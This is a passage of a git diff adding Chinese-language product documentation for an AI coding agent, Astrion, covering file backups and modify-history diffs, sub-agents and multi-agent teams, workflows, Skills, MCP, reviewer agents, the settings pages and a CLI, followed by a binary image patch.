**浅备份(默认)**:只追踪 AI 通过 **write_file / edit_file** 编辑的文件,每次编辑前自动备份当前内容——快、省空间,绝大多数场景够用。⚠️ 注意边界:**AI 用 run_command 执行命令改动的文件(如 sed、重定向、脚本写入)不在浅备份的追踪范围内**; + - **完全备份**:整工作区快照——最稳,但大项目下会明显变慢占空间。 + +### 检查点粒度:每条用户消息 + +- 你**每手动发送一条消息**,系统在该消息处理完成后记录一个检查点,引用当时所有已追踪文件的最新备份版本——也就是说,回溯的最小颗粒度是「一次用户手动发送的消息」,而不是单个文件编辑; +- 查看某个检查点的 diff = 该消息快照与上一条消息快照之间的差异; +- **回滚**到某个检查点 = 把所有已追踪文件恢复到该消息时的状态(覆盖式,回滚前请确认当前改动已另存或已提交)。 + +### 与其他机制的关系 + +- 版本控制追踪的是**文件系统状态**,与对话消息无关; +- 它与 Git 不冲突:AI 不会替你 commit,版本控制是 Git 之外的另一张安全网,适合「还没来得及 commit 就被改坏了」的场景。 + +## 2. 修改留痕(modify history) + +任务级的净修改记录,**默认开启**。 + +- 每完成一轮任务,本轮对话中 AI 编辑过的全部文件以 **unified diff** 形式落盘到:`<工作区>/.astrion/modify_history/<对话ID>/`; +- 每个任务一个 `.diff` 文件,文件名含该任务的用户输入摘要与开始时间; +- 对话中的「编辑摘要卡片」展示本轮编辑过的文件列表,点击可查看 diff;卡片的显示时机可在个人空间配置(默认工作完成后显示,也可改为运行期间实时显示)。 + +### 用 diff 文件手工恢复 + +留痕文件可直接用 git 工具操作: + +```bash +cd <工作区> +git apply # 重做这次修改 +git apply -R # 撤销这次修改 +``` + +典型场景:版本控制没开、Git 没 commit、`git checkout` 误覆盖了 AI 的劳动成果——去 modify_history 里找到对应任务的 diff,`git apply` 即可恢复。 + +> 该目录由系统自动维护,请勿手工增删其中文件;可在个人空间整体关闭(关闭后既不落盘也不注入提示)。 + +## 3. Git 状态栏 + +输入栏上方的状态条,实时显示当前工作区的 Git 状态摘要(当前分支、未提交改动量等),让你在不离开对话的情况下掌握「工作区现在脏不脏、AI 改了多少」。 + +- 默认显示;`+` 菜单 →「Git 状态栏」可快速显隐,个人空间有同款设置项; +- 工作区不是 Git 仓库时不显示。 + +## 4. 三层机制怎么选 + +| 需求 | 用哪层 | +|------|--------| +| 实时感知工作区改动 | Git 状态栏 | +| 回滚到对话中的某个时间点 | 版本控制 | +| 精确恢复/撤销某一轮任务的修改 | 修改留痕 diff | +| 长期、严肃的规模开发 | 仍然要 Git commit——前三级都是安全网,不是版本管理的替代品 | + +推荐姿势:重要项目保持「版本控制开 + 修改留痕开 + 勤 commit」,三张网叠加,AI 怎么折腾都丢不了东西。 diff --git a/website-content/07-agent-capabilities.md b/website-content/07-agent-capabilities.md new file mode 100644 index 00000000..b3675cda --- /dev/null +++ b/website-content/07-agent-capabilities.md @@ -0,0 +1,156 @@ +# 智能体能力 + +Astrion 的智能体能力分五块:**子智能体**(主智能体派出的分身)、**多智能体对话**(一个角色团队)、**工作流**(既定流程模板)、**Skills**(专业技能包)、**MCP**(外部工具接入)。本章讲每块怎么用、怎么配。 + +--- + +## 1. 子智能体 + +### 是什么 + +子智能体是主智能体在**同一进程内**派出的独立执行体:有自己的上下文、自己的模型配置、独立的生命周期。主智能体用它来**并行处理相互独立的任务**——典型场景:同时调研三个技术方案、边跑测试边整理文档。 + +它**不适合**什么:子智能体之间无法通信、看不到主对话历史,所以协作型任务(A 的输出是 B 的输入)应顺序执行或交给一个子智能体完成。代码编写/修改类任务默认由主智能体亲自完成。 + +### 怎么用 + +通常你不需要直接操作——告诉主智能体「同时帮我做 X 和 Y」,它会自己判断拆分成子智能体。两种运行方式: + +- **前台(阻塞)**:主智能体停下来等它完成,适合快任务、后续依赖结果的场景; +- **后台**:主智能体继续干活或与你聊天,子智能体完成后系统自动通知。 + +你可以通过对话区右侧**快捷窗口的「子智能体」窗**实时查看每个子智能体的状态与输出(见《快捷窗口》)。 + +### 生命周期与限制 + +- 状态:`running`(运行中)→ `idle`(空闲,上下文保留,可继续对话)/ 终态(完成/失败/超时/终止); +- 并发上限默认 **5**(`SUB_AGENT_MAX_ACTIVE`); +- 默认超时 **180 秒**,创建时可为单个任务指定更长超时(大规模分析建议 1800 秒以上); +- 产出物约定放在工作区 `sub_agent_results/` 下。 + +### 怎么配(模型库) + +子智能体使用独立模型库 `sub_agent_models.json`,配置方法见《快速上手》第 6 节。创建单个任务时主智能体可指定:模型条目、思考模式、超时、最大轮数等。不配则用 `default_model` 条目。 + +## 2. 多智能体对话 + +### 是什么 + +一种**对话类型**(创建时选定,不可变):主智能体固定为 Team Leader,负责理解你的需求、拆解任务、创建并指挥一组**带角色的子智能体**,汇总它们的产出。 + +### 角色系统 + +预置 5 个角色: + +| 角色 | 职责 | +|------|------| +| Full-Stack Engineer | 前后端代码实现、接口设计、调试联调 | +| UI Operator | 界面操作与视觉验证 | +| Code Reviewer | 代码审查 | +| Researcher | 调研与信息收集 | +| Brainstormer | 头脑风暴与方案发散 | + +角色 = `角色ID + 实例编号`,显示名如 `Full-Stack Engineer_1`,编号按角色内递增。 + +**自定义角色**:个人空间里有角色编辑器(角色列表 → 新建/编辑)。角色定义是一个带元信息的 Markdown 文件: + +```markdown +--- +id: full-stack-engineer # 角色ID +name: Full-Stack Engineer # 显示名 +description: 职责一句话 # Team Leader 据此派活 +model: "" # 指定模型(留空用子智能体模型库默认) +thinking_mode: thinking # fast / thinking +--- + +(正文是该角色的系统提示词:职责、工作原则、约束……) +``` + +### 通信机制(用起来需要知道的) + +- Team Leader 给子智能体发消息有两种:**派活**(不阻塞,继续干别的)和**询问**(阻塞等它回一轮); +- 子智能体之间可以互相请教/回答,但**所有子间通信都会同步汇报给 Team Leader**; +- 子智能体每一轮输出都会实时汇报给 Team Leader 并展示在对话流里,你可以随时插话纠偏。 + +### 什么时候用多智能体 + +适合:一个小型项目需要「写代码的 + 审代码的 + 跑界面的」分工协作;不适合:单线程就能干完的任务(徒增协调开销)。 + +## 3. 工作流 + +### 是什么 + +把一套**既定流程**(阶段、审核点、分支、结束方式)写成 `WORKFLOW.md` 存为模板;激活后,智能体严格按流程逐阶段推进,每个阶段完成后向你或审核智能体汇报,审核通过才进入下一阶段。 + +### 怎么用 + +- 激活:`+` 菜单 →「工作流」,或输入 `/workflow` 选择; +- 推进:每个阶段完成后 AI 自动汇报并进入下一阶段(含审核节点时由审核智能体把关,驳回会带整改意见退回上一阶段); +- 分支:流程到分支点时,AI 给出可选路径菜单让你拍板; +- 退出/查看进度:随时可以让 AI 退出工作流或汇报当前进展; +- 同一对话同时只能激活一个工作流。 + +### 内置工作流 + +| 工作流 | 用途 | +|--------|------| +| bug-fix-triage | 缺陷分诊与修复流程 | +| code-review-pipeline | 代码评审流水线 | +| feature-development | 功能开发全流程 | +| research-report | 调研报告生成流程 | + +### 自定义工作流 + +参照内置工作流的 `WORKFLOW.md` 格式编写,放入工作流库目录即可。建议直接用自然语言让 AI「按 workflow-authoring 技能帮我写一个 xx 流程」——系统内置了编写规范和格式校验,写完自动归档可激活。 + +工作流审核由**工作流审核智能体**(`workflow_review`)执行,配置见下文「审核智能体」。 + +## 4. Skills(技能包) + +### 是什么 + +Skill = 一个文件夹 + 一份 `SKILL.md`(带元信息的技能说明书)。它把「某类任务该怎么做」的经验沉淀下来,AI 遇到匹配场景时先读技能再动手——相当于给 AI 发岗位培训手册。 + +### 内置 Skills(12 个) + +`agent-build-standard`(Agent 架构教学)、`agents-md-writer`(写 AGENTS.md)、`docx`(Word 文档)、`pptx`(PPT)、`frontend-design`(前端设计)、`ui-aesthetic-design`(UI 美学)、`skill-creator`(创建新 Skill)、`workflow-authoring`(写工作流)、`run-command-guide`(命令执行规范)、`terminal-guide`(终端使用规范)、`sub-agent-guide`(子智能体规范)、`mcp-tool-config`(MCP 自助配置)。 + +### 怎么用 + +- 插入引用:输入 `//` 或 `+` 菜单 →「选择 AgentSkill」,把技能引用插进消息; +- 启用/停用:个人空间「工具与 Skills」页管理启用列表; +- **强约束开关**(默认全关):可分别要求「用终端前先读 terminal-guide」「用 run_command 前/后台前先读规范」「派子智能体前先读 sub-agent-guide」——适合新手期防误用,熟练后可关; +- **Skill 提示**(默认关):根据任务动态提示可能相关的技能。 + +### 自定义 Skill + +直接对 AI 说「把今天的流程沉淀成一个 skill」,它会按 `skill-creator` 规范创建、校验并归档,之后即可复用。用户技能存放在工作区 `.astrion/skills/`。 + +## 5. MCP 工具扩展 + +通过 [Model Context Protocol](https://modelcontextprotocol.io) 接入外部工具服务(数据库、浏览器自动化、第三方 SaaS……),接入后 AI 工具列表里会出现 `mcp__服务名__工具名` 形式的新工具。 + +- **配置文件**:`<数据根>/<模式>/data/mcp_servers.json`(可用 `MCP_SERVERS_FILE` 覆盖); +- **总开关**:`MCP_TOOLS_ENABLED`(默认开); +- 协议版本 `2025-06-18`,工具发现/调用默认超时 25 秒; +- **host 模式特色**:你可以直接让 AI「帮我配置 xxx MCP 服务」——内置 `mcp-tool-config` 技能会引导它自己写好配置并生效。 + +## 6. 审核智能体(三个) + +三个在关键节点替你把关的独立 AI,统一在个人空间「审核智能体」页配置,**模型复用子智能体模型库**: + +| 审核智能体 | 介入时机 | +|------------|----------| +| `auto_approval` 自动审批 | `auto_approval` 权限模式下,命令要写沙箱外/触发权限拒绝时自动审批 | +| `goal_review` 目标审核 | 目标模式下,评估每轮工作是否达成目标 | +| `workflow_review` 工作流审核 | 工作流的审核节点,决定放行还是驳回 | + +每个可配:`model`(留空用模型库默认)、`thinking`(思考模式)、`timeout_seconds`、`max_rounds`、`max_command_timeout`。 + +> 经验:审核智能体建议选**便宜但稳定**的模型——它们调用频繁、任务模式固定,没必要上旗舰。 + +## 7. 组合玩法示例 + +- **多智能体 + 工作流**:激活 feature-development 工作流后,Team Leader 按流程指挥角色团队逐阶段交付; +- **子智能体 + Skills**:调研任务前插入 `//frontend-design`,子智能体带着设计规范干活; +- **MCP + 快捷窗口**:浏览器自动化 MCP 跑长任务时,在「后台命令」窗口盯实时进度。 diff --git a/website-content/08-quick-dock.md b/website-content/08-quick-dock.md new file mode 100644 index 00000000..ef581dcf --- /dev/null +++ b/website-content/08-quick-dock.md @@ -0,0 +1,33 @@ +# 快捷窗口(Quick Dock) + +对话区右侧的一列浮动窗口,把「任务进行中产生的可交互产物」集中在一处,不用翻消息流就能盯住全局。 + +--- + +## 1. 五个窗口 + +自上而下依次是: + +| 窗口 | 显示什么 | 典型操作 | +|------|----------|----------| +| **工作流** | 当前激活的工作流:处于哪个阶段、审核状态、待决分支 | 查看流程进展,配合分支选择 | +| **待办** | AI 创建的任务清单(todo):每件事的完成状态 | 看 AI 的执行计划推进到哪一步 | +| **子智能体** | 运行中/空闲的子智能体实例:状态、当前在做什么 | 点详情看输出时间线;⋯ 菜单**强制关闭**失控实例 | +| **后台命令** | 后台运行的命令任务:状态、耗时 | 点详情看完整输出;⋯ 菜单强制关闭 | +| **文件记录** | 本轮任务 AI 编辑/创建过的文件 | ⋯ 菜单:**下载** / **在文件管理器中打开**(host 模式)/ **复制路径** | + +### 详情面板 + +- 点击子智能体/后台命令条目 → 打开**运行器详情面板**:输出与工具调用按真实时间线混排,失控时可强制关闭; +- 点击文件条目 → 打开**文件预览面板**:直接查看文件内容。长行默认横向滚动,个人空间可改为按面板宽度自动换行。 + +## 2. 展开与收起 + +- **有内容时自动展开**(默认):任何一个窗口有内容时,整列自动展开;全空时自动收起为边缘细条,不占地方; +- 个人空间可改为**仅手动展开**(`quick_dock_auto_expand`),或**整体隐藏**(`hide_quick_dock`)。 + +## 3. 使用心法 + +- **盯失控**:子智能体/后台命令行为异常时,不用在对话里喊话,直接 ⋯ → 强制关闭; +- **盯进度**:长任务期间,待办窗 + 子智能体窗就是项目看板; +- **收产物**:任务结束到文件记录窗批量下载或跳目录,比在消息流里翻卡片快得多。 diff --git a/website-content/09-settings.md b/website-content/09-settings.md new file mode 100644 index 00000000..7ef10ab6 --- /dev/null +++ b/website-content/09-settings.md @@ -0,0 +1,154 @@ +# 个人空间设置全解 + +个人空间(输入栏 `+` 菜单 →「个人设置」)共分 12 个标签页(管理员多 1 个)。本章**逐页逐项**说明每个设置的作用、默认值与使用场景——设置页面里一句话说不清的,都在这里讲透。 + +> 约定:「默认」指代码出厂默认值;如果你用过 `setup.sh` 向导,个别默认值可能被向导的选择覆盖。 + +--- + +## 1. 常规 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 自动生成标题 | 开 | 首轮对话后自动生成对话标题。关闭后新对话保持「新对话」占位名,需手动重命名 | + +## 2. 个性化 + +这一页决定「AI 用什么人格与你相处」。 + +| 设置项 | 默认 | 作用与场景 | +|--------|------|------------| +| 启用个性化 | 关 | 本页总开关。关闭时下列配置不注入提示词 | +| AI 自称 | 空 | AI 如何称呼自己(≤20 字),如「小A」 | +| 称呼你 | 空 | AI 如何称呼你(≤20 字) | +| 职业 | 空 | 你的职业(≤20 字)。填了 AI 会按你的背景调整表达深浅——开发者给技术细节,业务人员讲人话 | +| 语气 | 空 | 8 个预设:健谈 / 幽默 / 直言不讳 / 鼓励性 / 诗意 / 企业商务 / 打破常规 / 同理心 | +| 注意事项 | 空 | **最强大的一项**:最多 10 条、每条 2000 字的长期指令,每轮对话都注入。适合写「回答必须用中文」「代码注释用英文」「我是色弱,图表避免红绿配色」这类长期偏好 | +| 交流风格 | 标准 | 标准 AI 风格 / 拟人聊天风格 / 自动(按场景切换) | +| 对话连续性 | 中 | 高:主动回顾历史对话与记忆;中:平衡;低:每轮对话尽量独立。**开了「最近对话提示」却觉得 AI 总是答非所问地提旧事,就把这里调低** | + +## 3. 模型与思考 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 默认模型 | 模型库第一个可见项 | 新对话默认使用的模型,可选库中任意已注册模型 | +| 默认思考模式 | 思考 | fast / thinking。思考模式质量更高,快速模式响应更快 | +| 默认推理强度 | 默认(不传参) | 默认 / 低 / 中 / 高;需模型开启 `reasoning_effort` 才生效 | + +> 这里的「默认」都只影响**新建对话**;已有对话用输入栏的切换器单独调。 + +## 4. 外观与显示 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 主题配色 | 经典 | 经典(暖奶油+暖橙)/ 明亮(冷白+近黑)/ 夜间(中性灰阶) | +| 消息流显示模式 | 堆叠动画 | 传统列表 / 堆叠动画 / 极简模式;极简模式另有「展开时限制最大高度」开关(默认开) | +| 简略消息显示 | 完整信息 | 完整原始内容 / 一行概要 | +| 堆叠块隐藏边线 | 关 | 堆叠模式下隐藏块间边线,更素净 | +| 显示助手状态形象 | 开 | 对话区的状态头像(可以戳,有彩蛋) | +| 显示 Git 状态栏 | 开 | 输入栏上方的 Git 状态条 | +| 显示自定义称呼 | 开 | 在界面中显示你设置的自称/称呼 | +| 增强工具显示 | 开 | 工具结果结构化渲染;关掉则更接近原始输出 | +| 自动打开终端面板 | — | 终端任务时自动展开实时终端面板 | +| 快捷窗口自动展开 | 开 | Quick Dock 有内容时自动展开;关闭则只能手动点开 | +| 隐藏快捷窗口 | 关 | 整体关闭 Quick Dock | +| 编辑摘要实时显示 | 关 | 开:AI 边改边显示编辑摘要卡片;关:一轮工作完成后统一显示 | +| 文件预览自动换行 | 关 | 开:预览面板按宽度换行;关:长行横向滚动 | +| 侧边栏按工作区分组 | 关 | 对话列表按工作区/项目分组;分组模式支持工作区置顶与排序 | +| 新建对话按钮行为 | 跳转空白页 | route:跳到空白新对话页 / blank:立即创建空对话 | + +## 5. 工作区与权限 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 默认权限模式 | 无限制 | 新终端的初始权限模式。**强烈建议改为「批准」**,四档行为见《核心概念》 | +| 默认运行模式 | 计划 | 新终端的初始运行模式:计划 / 询问 / 执行 | +| 默认隐藏工作区 | 关 | 界面中默认收起工作区信息 | +| AGENTS.md 自动注入 | 关 | 开:每轮对话自动携带项目根 AGENTS.md,AI 始终带着项目规范干活。长期项目建议开 | +| 修改留痕 | 开 | 每轮任务结束后把净修改 diff 落盘到 `.astrion/modify_history/`。关闭后既不落盘也不注入提示 | +| 新对话默认开启版本控制 | 开 | 建议保持开启,这是文件安全网 | +| 版本控制备份方式 | 浅备份 | 浅备份:只备份 AI 编辑的文件;完全备份:整工作区快照(大项目慎用) | +| 目标审核模式 | 仅读对话 | 目标模式的审核方式:readonly 只读对话判断 / active 允许审核智能体跑只读命令取证 | +| 目标最大轮数 | 有默认值 | 目标模式自动续轮上限 | +| 目标 token 上限 | 不启用 | 累计输入+输出 token 达到即停(1k–100M)。注意是工作区级近似统计 | + +## 6. 上下文 + +这一页是长对话质量的关键,**改动前建议先读《输入与上下文》第 4 节**。 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 最近对话提示 | 关 | 开:新对话自动注入最近 N 条历史对话摘要 | +| 最近对话数量 | 10 | 上面那项的 N,1–30 | +| 项目记忆索引上限 | 20 条 | 项目记忆索引最多注入条数(≥5,可设无上限) | +| 自动浅压缩 | 关 | ⚠️ **会破坏上下文缓存**,见《输入与上下文》。不推荐开 | +| 浅压缩触发 token | 80000 | 自定义时**至少为模型实际可用上下文的 80%** | +| 浅压缩保留最近工具数 | 15 | 最近 N 个工具结果不压 | +| 浅压缩保留用户轮次工具 | 3 | 最近 N 次用户输入之后的工具不压 | +| 浅压缩每轮最多替换 | 10 | 单次压缩最多替换多少个工具结果 | +| 浅压缩工具调用间隔 | 10 | 每 N 次工具调用检查一次是否触发 | +| 自动深压缩 | 开 | 推荐保持开启 | +| 深压缩触发 token | 150000 | 同样遵守 80% 规则 | +| 深压缩产物形式 | 生成文件 | file:总结写入文件随取随用(推荐)/ inject:直接注入总结全文 | + +## 7. 工具与 Skills + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 静默禁用工具 | 开 | 禁用某工具时不向模型插入提示,上下文更干净 | +| 隐藏工具审批面板 | 开 | auto_approval 模式下不自动弹出审批面板打扰你;关则有审批即弹 | +| 工具意图说明 | 开 | 工具调用卡片上显示「要做什么」的简述;关掉可让消息流更紧凑 | +| Skill 提示 | 关 | 根据当前任务动态提示可能相关的 Skill | +| 强约束:终端 | 关 | 开:AI 使用终端工具前必须先读 terminal-guide 规范 | +| 强约束:子智能体 | 关 | 开:派子智能体前必须先读 sub-agent-guide | +| 强约束:前台命令 | 关 | 开:run_command 前台模式前必须先读规范 | +| 强约束:后台命令 | 关 | 开:run_command 后台模式前必须先读规范 | +| 启用 Skills 列表 | 全部 | 勾选哪些 Skill 可被使用 | +| 禁用工具类别 | 无 | 按类别整体禁用工具(如禁用网页搜索类) | + +四个「强约束」是新手护栏:强迫 AI 在用高危工具前先读使用规范,显著降低误操作率;熟练后关掉可省 token。 + +## 8. 文件与图片 + +| 设置项 | 默认 | 说明 | +|--------|------|------| +| 图片压缩档位 | 原图 | 原图 / 1080p / 720p / 540p。长对话多发大图建议降档省上下文 | + +## 9. 数据管理 + +只读的**用量统计**页:累计输入/输出 token、总对话数、用户消息数、工具调用次数,支持手动刷新。用来回答「我这个月烧了多少 token」。 + +## 10. 语音模型 + +端侧语音识别模型(SenseVoice int8)的下载管理:约 228MB,**仅在手机本地运行、无需网络**,支持中英混说与自动标点。页面显示下载状态(未下载/下载中百分比/已下载/下载不完整),可重新下载或删除。此功能面向 Android 客户端。 + +## 11. 子智能体 + +多智能体**角色编辑器**:角色列表、新建角色、编辑角色。角色的字段与写法见《智能体能力》第 2 节。预置 5 个角色可查看参考,自定义角色随改随用。 + +## 12. 审核智能体 + +三个审核智能体(自动审批 / 目标审核 / 工作流审核)的统一配置页,各自可配: + +| 字段 | 说明 | +|------|------| +| 模型 | 子智能体模型库中的条目名;**留空 = 用模型库 `default_model`** | +| 思考模式 | fast / thinking | +| 超时时间 | 单次审核的最长等待 | +| 最大轮数 | 审核智能体自身的工作轮数上限 | +| 命令超时 | 审核中执行核查命令的单条超时 | + +配置建议:审核任务模式固定、调用频繁,选便宜稳定的模型即可,不必用旗舰。 + +## 13. 管理员(仅管理员可见) + +管理员专属页:用户与策略管理(`admin/` 相关界面)。普通用户看不到此页。 + +--- + +## 附:设置生效机制 + +- 所有设置存储在数据目录的 `personalization.json`,按用户隔离; +- 「默认 XX」类设置只影响新建对象(新对话/新终端),不改已有的; +- 显示类设置(主题、显示模式等)即时生效; +- 涉及提示词注入的设置(个性化、注意事项、AGENTS.md 注入等)从下一轮对话开始生效。 diff --git a/website-content/10-cli.md b/website-content/10-cli.md new file mode 100644 index 00000000..1545334f --- /dev/null +++ b/website-content/10-cli.md @@ -0,0 +1,36 @@ +# CLI(开发中) + +> ⚠️ CLI 目前处于**重写中的开发状态**,功能与稳定性以 Web 端为准,本文仅介绍当前形态,所列行为后续可能变化。 + +--- + +## 1. 是什么 + +一个终端里的对话客户端:**React 19 + Ink 6 + TypeScript** 实现的 TUI,让你不打开浏览器也能与 Astrion 对话。 + +关键点:CLI **不是独立的 Agent 运行时**——它连接的是你本地正在运行的 Astrion Web 服务(默认 `127.0.0.1:8091`),所有对话、工具执行、权限控制都走后端,CLI 只是一个更轻的交互界面。 + +## 2. 启动 + +```bash +npm --prefix cli install # 首次安装依赖 +npm run cli # 启动,自动连接本地 8091 服务 +``` + +启动后会清屏、连接本地服务、创建新会话,输入区固定在底部。若当前目录不在任何已授权工作区中,会先询问是否添加为工作区。 + +## 3. 当前能力与边界 + +- 基础对话、流式输出、工具调用展示; +- `/` 指令体系(设计中,详见仓库 `docs/cli_slash_commands_spec.md`); +- 思考内容默认折叠,只显示「思考中 / 思考完成」; +- 多模态、快捷窗口、版本控制等 Web 端能力在 CLI 中**尚未对齐**——需要完整功能时请用 Web 端。 + +## 4. 面向开发者 + +```bash +npm run cli:typecheck # 类型检查 +npm run cli:build # 构建(产物提供 agents / agents-cli 命令) +``` + +CLI 代码在 `cli/src/`(`App.tsx`、`components.tsx`、`eventMapper.ts`、`api.ts`),欢迎贡献。 diff --git a/website-content/README.md b/website-content/README.md new file mode 100644 index 00000000..67e68149 --- /dev/null +++ b/website-content/README.md @@ -0,0 +1,31 @@ +# Astrion 官网文档(中文版文案) + +本目录是 Astrion 官网的**中文文案底稿**,后续将迁入独立仓库并据此设计官网。 + +## 章节地图 + +| 文件 | 章节 | 读者 | +|------|------|------| +| `01-quick-start.md` | 快速上手:安装、端口、数据路径、模型与子智能体模型配置、host/docker 选择 | 新用户 | +| `02-core-concepts.md` | 核心概念:部署/权限/执行环境/运行模式四组正交概念,各平台沙箱安全水位 | 所有人(最重要的一章) | +| `03-conversations.md` | 对话:对话类型、思考模式与推理强度、目标模式(Beta)、对话面板、对话管理 | 用户 | +| `04-input-context.md` | 输入与上下文:`+` 菜单全项、`/` 斜杠菜单、`@` 引用、压缩机制与 80% 规则 | 用户 | +| `05-execution-security.md` | 执行与安全:两段式执行、路径授权、网络权限、审批、direct 忠告 | 用户/管理员 | +| `06-conversation-assets.md` | 对话资产管理:版本控制、修改留痕、Git 状态栏 | 用户 | +| `07-agent-capabilities.md` | 智能体能力:子智能体、多智能体、工作流、Skills、MCP、审核智能体 | 进阶用户 | +| `08-quick-dock.md` | 快捷窗口:五个窗口的用法与操作 | 用户 | +| `09-settings.md` | 个人空间设置全解:12 个标签页逐项说明 | 用户(工具书式查阅) | +| `10-cli.md` | CLI(开发中):形态、启动、当前边界 | 用户/开发者 | + +## 写作约定 + +- 全部功能描述**以代码事实为准**(文件:行号级核实),不以界面描述文案为准; +- 安全性内容如实标注(macOS 全局可读、Linux 沙箱未实测、Windows WSL2 可完全隔离); +- Beta/开发中功能明确标注; +- 每个设置项都给出「默认值 + 作用 + 什么场景要改」。 + +## 待补充(设计官网阶段) + +- 开发者文档线(架构/消息管线/多智能体内部机制等,以 AGENTS.md 为底重组) +- 首页 landing 文案与截图 +- 截图与演示素材(需运行实例采集) diff --git a/website-design/assets/product-main-classic.png b/website-design/assets/product-main-classic.png new file mode 100644 index 0000000000000000000000000000000000000000..f8290d2593b1d75054cd22a9b588f79e00701958 GIT binary patch literal 35167 zcmeFZRa9JUw>3zF2oQll@IY{Pw+ikM+#v*acgvd~!QI^*f_o7pxI2ZrTjAahdC%9Q z|Nr9Loc>4O^i3G4UA5(rwdR_0uI>L>M)VaD4iW+a!YgqxA$bIZr#c7-k5gYf2A{Bh zJ8VKgc#9w|#INX_v^$6R1$`3MapWKA{dN{V0Nu$cx3+=%&)l3=U_(QL!mNpn)8m&U z?YGd1Cw8$|;xFEA-k9{wVXpg#O- zEGGK!CyfaI5%}{h!2apOf2saGnD@UN{Fx#JRoe)Qr+)axTYN;%ih+-rjt}1_guMv* z9`#1H83}6KZ*F8?OCw>jn7lh3pFy9pOJDS;nX^k6>;;qgygLG*2k@-)kK1 zAfssol|B=vfl0$!>7S(xaXnQlfq2t|4m|Q-3AwYIot;GoC%GXP=diK09m$YP`)7Wr z)b#P=$KY4Ktrt1;)y*fn89c1Q&OQ(Wu6l=^i4lX|2KznFJ=p1D&3uECSI?Nq{QSIx zP**Oi)!p~w4SJzvRM!3d{nu9W6iX``8|T~O)N4B&O>UUW@EWTHKIcP*O1HhKvI?U? zZ7389Q&Lf>Sv(k@w%a({n<>@N`ei+QeSTn2#cb3cVN~L60z1K`Rw;J9I@xOZ;g_VP z`Eb8NZ`AqJDjc;!KQQ5(AV=8U+}^TV&bqJlDE-NUzxxV9jm(v@n9G?<=5{)H>u@-< zbbU_nv@US=YOwi!AceU`dgjdOVE$JAQ$WBa7Sz%QvX74Zfb`D z#dO}G-dOtQD0nyL3%NYJyvM8E6?UD+IT8d=^|{X$hV+x_GJ1ZbQBHON#v{T1XJXTB$if zDua!D=j*+dcK^&`X{0CgI?$f5k3Z(gMbFHY3dd0mibbs(4m2U--CZk3ET%Wp~6M(n3{LUxuqx zE(iET@yzykVWyB!c&pFakG^nXHz5K!0hz#)h;TV0ieF|A(+RdIGCiEKBvweM1W}W3V=f}sd(1Ks% zbL}o|>1M>uHo7Pv@xLRJa@V^!lTWNkrC}mzQIe}rmM-0TIk4F7s?som` zbSD^>JzdCu+38>|Qi#Rt?t3_~D2?i&3XH`>N_srGm!vI;)6Ve#>ao7gl!apNzEkTk z<4F06R=aX>v`4D1zdws*^?-ozRUI8_o@DI6lV>QV3nl$a#G=K;#ndVV6i$>{1!GZ^ zktdmPL|imHHt;Ms{%uhOlWJaSRZQIV92kL{^KbU;k7h zV^T%Yy3zR)$foj1MpGGtrO20T%{YC!gs)XTmq_9$gF8qOm6IFzqBLJVf2yjk3Uze0 zFg1kLE18LN9Ana8@wzI4u{gCX*ZmX`QN6x5Q!`ntK`tDC?sm3ctdLu6ZeHtns(yQQ zO5$shOt0B^aoF-iL4kSYd4$wy%OBy9sEqyV4U$(7on}~-*+bmCupx=JKbUt|{N18d za2HOg*8wR|luRLVDNbO0Pp64auiaRnbjQFL_B#_XPQV9geK1uPS#oF6YRYSI@#m5t zWQLXQvl`TW?e58QWf~nr-SmzCobf_h)n5#byHnDMEW-u7g({`d(r2g%>mPrbsnAm| z3=i@eCHwef|M(%e0KM(+>%VpP=nTT%+ud!nTDVilm8~(G$+2CN@Ow?bX}$OxgpzC? zCd0m3Ty`tve0i7MxZ%K9n&?3$NAv5u+pG8V+ETW?JxYZJoA=9q0$<@y2ydc}Vj0&+ z2+2e*u|GRkcH{QX-E#S(+H<$rG?U-{jWf zmLqk^SUlZX?qqXGs57uet$eaM&#N=vSZ=*FVlZB)5{S#b-y-O@ikJfN`X~~FC9f8- zTjSb~GhK3c(9GW0)Fcs0H{KwdTA)-QA-EsCRI`9aDuu;tD7ErD0DJVTy}P+Lin3U% zSf!>UJ3AX>m2bvr#=}I+Mtunky0bfzukm3u%=#Gbs3oa+D;vEI@YqZ0uanxdv>F^S zDZ(JSt=>%a)M^#c34GueJ4NeC#cegbt-v}U{QG6b*YX4Ne!JoByp_uww z>B?SRxei3s-|PJe`uzz?{x3vDMV;P+F7_&9OXa&iftYb2y+HXqR`fN6LXL>i-?_eC zCV_=fIA9eDJ1&ZBV4yNL- zY!1WH$wLTOnN^#0^#WNe&UM`kYA6?|%3a~{xs#}rBuV2GK35C= z!0dQd6c6(l&6ccjJ5TZUM>AE~dli%#>VB|RQ|31K;ibAnt@xZWn+z6xJd=ZZX$tS( zREJ7WPftmbB@@Xd8iLmunrb{=?t_lPGs}xc^7CNhz-bTWFzxEO+Qo>CXE|T_(Z$vw zN+VxB8zjphEXLij{84$10{OK!9v0vcnyrtPTM>^dlh?q)*TXqjpzpGDh&I>ZQy?bV?RJV8*TqEX=uz?^BJkRoZ;08Hs*i*gCzN$UNJ+x zePnpr4l}1e>78S$03y71VPA`zav{R|(WRN8AzhoXc#T4iR5b%0XC#}2I;FkX>*0|4 z@cPd^=#(VrCJkaaQqcu!74Hptqp-Q`e`$K0oy3z6QHF}enT*s9FSZB@&MMLGin6eI zwFqpn8GpHdJ9)U6&J{YFP_;v)QnIkJ#(?JLUgr5xqol;(ChtgjYSpes9qQ16PtW_$3Ws4x1x;KJa zrF6T-)!DTp07KHOw`R6?M#GChQ%j3nCV^&+LsXQUlt?C(li8rBQaW+MOl4;*UnkF+ z9}xsFxz52sFAzpzl$Dtbccu#myHMMnyy9-=b%6^N@XDt0;<8%`EVcSPdxNuiwe^%? zeciCU3@Y3^F#=Z1EQl@o3`ula>K-}fP0Oo`hwHjrII-K9Ja@Fc``&Ij&!{G52iC4swdT~U%!40ce*Sm zMe|dyHkYflF6)#{N#ePzaUcKgRH9hc3f2?J9A*0P;bD~3aZZ0ChT!LLtNe)=f!xqg ztDjDs?yFrv*vuL%R&;~>+rs5S)p(jvTZ8?iX-7v#^;El!f$?GuQQP|%S`B8yE<(uy 